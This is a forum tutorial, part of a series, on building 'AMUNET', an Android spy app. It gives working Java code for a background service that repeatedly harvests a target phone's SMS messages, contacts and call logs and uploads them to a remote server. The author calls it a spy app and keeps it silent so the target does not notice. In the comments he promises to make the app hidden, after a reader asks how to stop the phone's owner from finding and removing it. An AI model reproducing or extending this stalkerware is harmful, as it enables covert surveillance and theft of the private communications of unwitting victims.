Building a God’s Eye Android App: Part 4 - Persistently Collecting Contacts, Call Logs and Text Messages ( SMS )

Greetings my fellow hackers,

As we continue with our series, the AMUNET app becomes complicated with new functionalities and structures to understand. We’ll sail right through. As stated earlier in previous tutorials, the app doesn’t fully exists because I build them before I share so forgive me if it takes sometime before a tutorial comes out. I need to make sure everything works well first.

PREVIOUS TUTORIALS

Below are the tutorials covered so far.

  1. Introduction to Amunet
  2. Get Installed Apps
  3. Sending Information to Web Server
  4. Granting Permission for Extra Functions

FAQ

I have been receiving questions from readers and these ones are most prevalent.

Q: How to collect information on my localhost
A: The tutorial does not limit you to the test server. As stated earlier, just change the server endpoint ( ip address ) in the Configuration.java and make sure your server accepts the POST parameters being passed.

Q: Can I get the source code ( PHP ) for your test server
A: Absolutely not.

Q: Where is my data stored on the test server ?
A: I am a great fan of privacy and data protection. With that said, every data sent to the test server is encrypted ( username and password ). I use bcrypt for protecting confidential information and as a result, I do have access to the information stored on the server but cannot decrypt or read them. Only the right user.

Q: Will I pay for using the test server ?
A: Absolutely not. The server was only set up to help with the tutorial. No need to pay anything. It’s set up out of good will.

Q: What’s the API auth key thing ?
A: The API Auth key helps the server identify the correct user. Without it, any data sent will be rejected.

Q: Do I need the API auth key on my local server ?
A: No please. You do not need an auth key on your local server. You only need to accept the POST parameters being sent by Volley and thats all.

TODAY’S TUTORIAL

In today’s tutorial, we will persistently collect information about the contacts on the phone, call logs and text messages ( sms ). Persistently in the sense that, we are going to put the codes in a service which runs periodically ( time to time, intervals ) and make sure we have up to date information. You can set the interval to any value ranging from a minute to any hour of the day.

Continuing from the previous tutorial, lets add one more button that will trigger monitoring on the target device. Lets go to our content_dashboard.xml and add the button.

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
app:layout_behavior="@string/appbar_scrolling_view_behavior"
tools:context=".Dashboard"
tools:showIn="@layout/activity_dashboard">

<android.support.v7.widget.RecyclerView
    android:layout_width="match_parent"
    android:layout_above="@id/service_monitor_button"
    android:id="@+id/dashboard_recycler_view"
    android:layout_height="match_parent" />

<Button
    android:layout_width="match_parent"
    android:text="Start MONITORING"
    android:padding="10dp"
    android:id="@+id/service_monitor_button"
    android:textColor="@android:color/white"
    android:background="@color/colorPrimary"
    style="@style/Base.Widget.AppCompat.Button.Borderless"
    android:layout_alignParentBottom="true"
    android:layout_height="wrap_content" />

</RelativeLayout>

With our button declared in the layout, lets declare in the Dashboard.java file. Below the public class Dashboard ... statement, declare the button.

public class Dashboard extends AppCompatActivity {

     private RecyclerView recyclerView;
     private List<RecyclerJava> recyclerJavaList = new ArrayList<>();
     private RecyclerAdapter recyclerAdapter;

     private Button service_monitor_btn; // New added button declaration

     protected static final int GPS_REQUEST_CODE = 5000;
     protected static final int CONTACTS_REQUEST_CODE = 5001;
     protected static final int CALENDAR_REQUEST_CODE = 5002;
     protected static final int MIC_REQUEST_CODE = 5003;
     protected static final int CAMERA_REQUEST_CODE = 5004;
     protected static final int STORAGE_REQUEST_CODE = 5005;
     protected static final int SMS_REQUEST_CODE = 5006;

ONCREATE METHOD

With our button declared, lets scroll to the onCreate method and set reference to our button and set the click listener.

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_dashboard);
    Toolbar toolbar = findViewById(R.id.dashboard_toolbar);
    setSupportActionBar(toolbar);

    recyclerView = findViewById(R.id.dashboard_recycler_view);

    recyclerAdapter = new RecyclerAdapter(recyclerJavaList);
    RecyclerView.LayoutManager mLayoutManager = new LinearLayoutManager(getApplicationContext());
    recyclerView.setLayoutManager(mLayoutManager);
    recyclerView.setItemAnimator(new DefaultItemAnimator());
    recyclerView.addItemDecoration(new DividerItemDecoration(Dashboard.this, LinearLayoutManager.VERTICAL));
   
    // Finding the button
    service_monitor_btn = findViewById(R.id.service_monitor_button);

   // Checking if our TimerService is running
    if(MyServiceIsRunning(TimerService.class)) {
        service_monitor_btn.setText("STOP MONITORING");
    } else {
        service_monitor_btn.setText("START MONITORING");
    }
   
    // Setting a click listener on the button
    service_monitor_btn.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
            if(MyServiceIsRunning(TimerService.class)) {
                Log.i("0x00sec", "Stopping Service ...");
                stopService(new Intent(Dashboard.this, TimerService.class));
                service_monitor_btn.setText("START MONITORING");
            } else {
                Log.i("0x00sec", "Starting Service ...");
                startService(new Intent(Dashboard.this, TimerService.class));
                service_monitor_btn.setText("STOP MONITORING");
            }
        }
    });

    updateRecycler();
}

1 - We assign the button to the view object in the layout file.
2 - MyServiceIsRunning is a method that checks if a service is running. We want the text on the button to be set to stop when the service is running and start when the service is not running.
3 - The service to check is TimerService.class. Its function is to set a repeating alarm function that calls a Broadcast receiver which sends information to the server. Let’s take it bit by bit.

MYSERVICEISRUNNING

This methods as explained accepts a service parameter and checks if the service is running or not and returns a boolean value ( true / false )

private boolean MyServiceIsRunning(Class<?> serviceClass) {
    ActivityManager manager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
    for (ActivityManager.RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {
        if (serviceClass.getName().equals(service.service.getClassName())) {
            return true;
        }
    }
    return false;
}

TIMERSERVICE

This service starts a repeating alarm ( Alarm Manager ) that calls a Broadcast receiver. The receiver then begins uploading the information. Create a new java class and extend it to the Service class.

11

Lets code.

import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import android.os.SystemClock;
import android.support.annotation.Nullable;
import android.util.Log;

public class TimerService extends Service {

@Override
public void onCreate() {
    super.onCreate();

    AlarmManager alarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE);
    Intent intent = new Intent(TimerService.this, ServerUpdateReceiver.class);
    PendingIntent pendingIntent = PendingIntent.getBroadcast(this,0,intent, 0);
    alarmManager.setRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP,
            SystemClock.elapsedRealtime(),
            AlarmManager.INTERVAL_HOUR,
            pendingIntent);
    // stopSelf(); // Optional
}

@Override
public int onStartCommand(Intent intent, int flags, int startId) {
    return super.onStartCommand(intent, flags, startId);
}

@Override
public void onDestroy() { // Stop Service
    super.onDestroy();
}

@Nullable
@Override
public IBinder onBind(Intent intent) {
    return null;
}
}

The only important method is the onCreate method.

Using the AlarmManager, we schedule a repeating alarm to call ServerUpdateReceiver.class ( Broadcast Receiver ). Data can be passed to the receiver through the intent.putExtra call but we won’t be passing any for now.

Another thing to carefully take note is AlarmManager.INTERVAL_HOUR. This piece of parameter ( in Milliseconds ) is the interval for the alarm. The minimum is 60 seconds ( 1 minute - 60000ms ), you cannot set below that. Android will forcefully set it up to a minute if you set it below 60 seconds. We configure our receiver to be called every hour. It is recommended to even increase it a bit as frequent calls can calls the app to crash, battery drain or have our app kill in case of low memory situation.

I am fully aware that we are not checking if the phone is connected to the Internet before sending data. We will fix that later but for the mean time, we have to make sure the phone is connected to the internet. Repeated calls with no internet connection will cause the app to crash temporarily. Temporarily because the alarm call will be fired again which in turn will call our receiver again. Ever repeating.:yum:

SERVERUPDATERECEIVER ( BROADCAST )

This receiver simply sends periodic data to our defined server. If a permission is not granted, the appropriate method will not be called because android will not permit us to collect data we do not have permission to.

Create a java class and extend it to the BroadcastReceiver class.

21

Remember, if you are not naming your objects according to the ones in the tutorial, make sure you replace them according in the codes.

The only needed method for a BroadcastReceiver is the onReceive Override method. Your code should be something like this:

public class ServerUpdateReceiver extends BroadcastReceiver {

   @Override
   public void onReceive(Context context, Intent intent) {

   }

}

Below the public class statement, lets declare a Context. With this, all other methods can access it.

public class ServerUpdateReceiver extends BroadcastReceiver {

    Context context;
    ...

ONRECEIVE METHOD

Within the method, we first check if a permission is granted, then call the appropriate method. This tutorial will cover contacts, call logs and sms messages.

@Override
public void onReceive(Context context, Intent intent) {

    this.context = context;

    if(ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                update_Server_SMS();
            }
        }).start();
    }

    if(ActivityCompat.checkSelfPermission(context, Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                update_Server_Contacts();
                update_Server_Call_Logs();
            }
        }).start();
    }
}

The method that sends our SMS message to the server is update_Server_SMS and the methods responsible for sending the contact information and call log are update_Server_Call_Logs and update_Server_Contacts.

Instead of having different methods handle communication to the server. We will instead create a method to accept POST parameters and handler communications. With this, all methods in the class can communicate externally by calling it and passing along their parameter.

UPDATE_SERVER METHOD

Update server is the method that handles communication to the server. It accepts POST parameters and sends them along.

private void update_Server(final Map<String, String> params) {

    RequestQueue requestQueue = Volley.newRequestQueue(context);

    StringRequest serverRequest = new StringRequest(Request.Method.POST, Configuration.getApp_auth(), new Response.Listener<String>() {
        @Override
        public void onResponse(String req) {
        }
    }, new Response.ErrorListener() {
        @Override
        public void onErrorResponse(VolleyError error) {
        }
    }) {
        protected Map<String, String> getParams() {
            return params;
        }
    };

    requestQueue.add(serverRequest);
}

Since this class is non-UI ( erm, maybe can do little UI jobs like toast, notification, etc ), we don’t want to push any notification like upload complete because it’s a spy app :blush: and we don’t want the target to know that information has been sent. Quiet as possible. We therefore don’t include any UI codes here. Since we are also blind as to whether our data was saved or not, we have make sure the server receives the data correctly. Moving on …

UPDATE_SERVER_SMS

This method reads the SMS database of the phone ( inbox, draft, sent ) and sends them to the server through the update_Server method.

private void update_Server_SMS() {

    SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
    final String auth_key = sharedPreferences.getString("auth_key", null);

    try {
        Uri uriSMSURI = Uri.parse("content://sms");

        Cursor cursor = context.getContentResolver().query(uriSMSURI, null, null, null,null);

        while (cursor.moveToNext()) {
            String address = cursor.getString(cursor.getColumnIndexOrThrow("address")).toString();
            String message = cursor.getString(cursor.getColumnIndexOrThrow("body")).toString();
            String date = cursor.getString(cursor.getColumnIndexOrThrow("date")).toString();
            String read = cursor.getString(cursor.getColumnIndexOrThrow("read")).toString();
            String type = cursor.getString(cursor.getColumnIndexOrThrow("type")).toString();
            String id = cursor.getString(cursor.getColumnIndexOrThrow("_id")).toString();

            if(read.equals("0")) { read = "no"; } else { read = "yes"; }
            if(type.equals("1")) { type = "inbox"; } else if(type.equals("2")) { type = "sent"; } else { type = "draft"; }
            date = get_Long_Date(date);

            // THIS IS HOW TO CREATE THE POST PARAMETERS ( MAP ARRAY )
            Map<String, String> params = new HashMap<>();
            params.put("address", address);
            params.put("message", message);
            params.put("date", date);
            params.put("read",  read);
            params.put("id", id);
            params.put("type", type);
            params.put("auth", auth_key);

            update_Server(params);
        }
    } catch (Exception e) {
    }
}

1 - content://sms - allows us to loop through the entire SMS database not limiting ourself to the inbox, draft or sent messages.

2 - cursor.getColumnIndexOrThrow - allows us to get the appropriate column index of the cursor. Mind you, entering a wrong Column name will cause the app to crash. These are the meanings of the columns.

  1. address - phone number
  2. message - content of messages
  3. date - time of message
  4. read - status of message ( 0 - not read, 1 - read )
  5. type - type of message ( 1 - inbox, 2 - outbox, 3 - draft ( guess work) )
  6. id - unique message identifier

3 - The date is constructed into human readable with get_Long_Date.

4 - We then construct our POST parameters and call the update_Server method to communicate the information.

The server should then be receiving something like $_POST['address'] && $_POST['message'] ...

GET_LONG_DATE METHOD

Accepts and converts the passed argument into readable.

private String get_Long_Date(String date) {
    Long timestamp = Long.parseLong(date);
    Calendar calendar = Calendar.getInstance();
    calendar.setTimeInMillis(timestamp);
    DateFormat formatter = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
    return formatter.format(calendar.getTime());
}

UPDATE_SERVER_CONTACTS

This method just like the one above it, loops through the Contact database, gets information and sends it.

private void update_Server_Contacts() {

    SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
    final String auth_key = sharedPreferences.getString("auth_key", null);

    Cursor cursor = context.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI,null,
            null, null, null);
    while (cursor.moveToNext()) {
        try{
            String contactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
            String name=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME));
            String phoneNumber = null;

            if (Integer.parseInt(cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0) {
                Cursor phones = context.getContentResolver().query( ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ contactId, null, null);
                while (phones.moveToNext()) {
                    phoneNumber = phones.getString(phones.getColumnIndex( ContactsContract.CommonDataKinds.Phone.NUMBER));
                    break;
                }
                phones.close();

                if(phoneNumber != null) {

                    Map<String, String> params = new HashMap<>();
                    params.put("contact_name", name);
                    params.put("contact_phone", phoneNumber);
                    params.put("auth", auth_key);

                    update_Server(params);
                }
            }
        }catch(Exception e) {

        }
    }
}

Again, changing the ColumnIndex will cause the app to crash. They are constant values.

UPDATE_SERVER_CALL_LOGS

The methods just like the other two loops through the call logs database and fetches information.

@SuppressLint("MissingPermission")
private void update_Server_Call_Logs() {

    SharedPreferences sharedPreferences = context.getSharedPreferences("Auth", Context.MODE_PRIVATE);
    final String auth_key = sharedPreferences.getString("auth_key", null);

    Cursor cursor = context.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, null);
    int phone_number = cursor.getColumnIndex(CallLog.Calls.NUMBER);
    int type = cursor.getColumnIndex(CallLog.Calls.TYPE);
    int date = cursor.getColumnIndex(CallLog.Calls.DATE);
    int duration = cursor.getColumnIndex(CallLog.Calls.DURATION);

    while (cursor.moveToNext()) {
        String number = cursor.getString(phone_number);
        String call_type = cursor.getString(type);
        String call_date = get_Long_Date(cursor.getString(date));
        String call_duration = cursor.getString(duration);
        int call_code = Integer.parseInt(call_type);

        switch (call_code) {
            case CallLog.Calls.OUTGOING_TYPE:
                call_type = "OUTGOING";
                break;
            case CallLog.Calls.INCOMING_TYPE:
                call_type = "INCOMING";
                break;
            case CallLog.Calls.MISSED_TYPE:
                call_type = "MISSED";
                break;
        }

        Map<String, String> params = new HashMap<>();
        
        params.put("phone_number", number);
        params.put("call_date", call_date);
        params.put("call_type", call_type);
        params.put("call_duration", call_duration);
        params.put("auth", auth_key);

        update_Server(params);
    }

    cursor.close();
}

We are done for this tutorial. Before we get ahead of ourselves. It took me days to realize that I had forgotten to add the appropriate call logs permission although we had already added them in the previous tutorial. Without READ_CALL_LOGS and WRITE_CALL_LOGS permission. We cannot access the call logs. Lets add them to AndroidManifest.xml.

<uses-permission android:name="android.permission.READ_CALL_LOG" />
<uses-permission android:name="android.permission.WRITE_CALL_LOG" />

Go ahead now and run your android app. Allow permissions and start monitoring. Your data should be sent to the test server ( if you used my test server ).

CONCLUSION

I love your contributions, suggestions, feedbacks, critics, etc. Anything to help the series.

You can directly import the project into your android studio if you are having trouble.

Checkout the github repo: https://github.com/sergeantexploiter/Amunet

Until we meet again. I’m out.

#Sergeant

7 Likes

good afternoon I have a question that happens when I compile the Amunet-master application of github in android studio compiles well that is to say generates the pk in the file debug or relase whenever I install it in an android emulator and I give it a username, name and password I give in regsitrar and I appear offline internet do not know why I just want to try the application first in an emulator android and then in a real phone and to clarify I’m not changing parameter I’m using your test server

Okay @costa, sorry for the delay in reply. To start with, the grammar is not quite clear so I’m having trouble understanding the question. What I got was ?

You used the github link to build the Amunet app unto your emulator and proceeded to register with your credentials.

This is the part I don’t quite get. If you could clarify a bit.

Noticed, you asked about installing the app on an emulator. Well, the tutorials wasn’t based on an emulator but instead on a real phone. That is why, I blank out some sensitive information in the tutorial. So I don’t have knowledge on any challenges that you’ll encounter whilst using the emulator. The emulator can quite be restricting.

what happens is that I do not know English very well what happens is when I compile the application with android studio everything goes well, but at the moment of installing it in an android emulator I register the name and the user and the password I register and it appears to me disconnected from the internet and it does not let me do anything more and in your page it is to say in the server I try to register but it does not let me do anything either.

1 Like

I think I get you now. Okay so if the app displays the internet disconnected message then you are truly disconnected. It’s actually a problem for emulators to not have internet connection whilst the host machine has it. Search on Google how to fix the problem. There are a lot of guides out there.

You can simply run it on actual phone to see if it behaves the same ( which I strongly believe otherwise ). The app will still work for registration even if you turn the permissions off ( except the READ_PHONE_STATE permission ). Let me know the feedback.

good afternoon thank you very much if it served but in real phones the only thing if I saw that the application is not hidden is always in the view of the owner of the phone which upon seeing that application will be uninstalled and lost everything there would be some update or improvement for The application is hidden inside the phone and do not remove it

The part where the application hides will come. As you noticed, it is in parts so don’t worry. I’ve got you covered on that one. Stealth is very essential.

#Sergeant

This topic was automatically closed after 30 days. New replies are no longer allowed.